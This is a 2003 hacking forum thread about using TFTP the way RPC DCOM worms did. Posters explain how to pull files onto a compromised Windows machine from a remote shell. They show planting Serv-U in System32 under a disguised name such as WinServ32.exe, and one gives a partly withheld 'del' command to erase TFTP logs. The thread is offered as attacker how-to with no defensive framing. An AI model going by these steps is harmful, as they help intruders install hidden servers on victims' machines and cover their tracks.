schnibble
Aug 31 2003, 03:43 AM
I tried and I googled but i couldn't find... Any good links? Topics?
Don't understand how to start that service (is it server?), how tu use it... I saw that all RPC DCOM worms used it. So there has to be a way. Teach me!!!
keith1569
Aug 31 2003, 04:10 AM
u run tftp on your own computer..it is a server and u tell it the dir that u want the files in to upload to that remote comp....when ur in the shell of the computer you type in tftp -i yourip get filename
for example
tftp -i 12.25.2.1 get r_server.exe
something along those lines
here is a link for tftp
http://www.geocities.com/mach8442000/TFTPD32.zipyou might need to copy and paste the exact url into your browser
hope this helped
schnibble
Aug 31 2003, 10:16 PM
so it is a service, deamon, server or something like it... is there some other than this with gui? is there some command line like? installed by default on win machines?
it opens port 69, right? is it default port for tftp? or for something else?
thnx
krackatoa
Sep 1 2003, 01:15 AM
There is a client on Windows Systems: tftp.exe
The server is posted below by keith1569
He has also provided you with the basics of making it work.
-Fire up the server
-Enter the commands on the client to connect to the server and "get" or "put" a file
Now you should get this set up on two machines and learn it yourself.
schnibble
Sep 1 2003, 01:24 AM
Thanks, I got that. Now, what I was wondering, is there some program like tftpd32.exe which is installed by default on any XP machine, or do i have to use 3rd party software for server?
How did RPC DCOM worms spread themselves? How can they make your )(infected) computer host or server for tftp?
Is tftp.exe also a server???
krackatoa
Sep 2 2003, 02:33 AM
No windows does not provide a built-in tftp server, just a client. If you want to use a server, you'll need 3rd party software.
The inner workings of the DCOM exploit and subsequent worms has been well documented.
A copy of the source code may be on this board somewhere. This would be a good place to start looking.
xamilQ
Sep 2 2003, 08:37 AM
imo .. the TFTPserver32.exe of TFTPsuitePro2000 still 0wn3z.
Complete command is: TFTP -i [ur ip] GET [filename].[ext] [Drive]:\[Dir Where U want ur files]\[filename].[ext]
For example: TFTP -i 127.0.0.1 GET Serv-U.exe C:\WINNT\System32\Servu-U.exe
But U also can rename the .exe like this: TFTP -i 127.0.0.1 GET Serv-U.exe C:\WINNT\System32\WinServ32.exe
This U can do for every file

U always have to run ur TFTP-server to 'TFTP' files.
Sh4dowWalker
Sep 12 2003, 05:40 AM
But be aware that TFTP leaves many logs.
Of course you can delete them, and there's one simple command to do this but i won't gives you all on the plate
Here's command - it deletes all tftp logs on the whole disk:
| CODE |
del /F /<missing switch> /Q c:\tftp???? |
Try to find the answer about this one missing switch you should use. Maybe in the process you will learn something about other switches i've used
Tlacaelel
Sep 18 2003, 07:06 AM
Q: are the TFTP files system file or archieve files?
BTW picked up some good tips on this tread.
thanking 1 and all
ivan288
Oct 17 2003, 06:43 PM
yea thanx guys some nice info.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.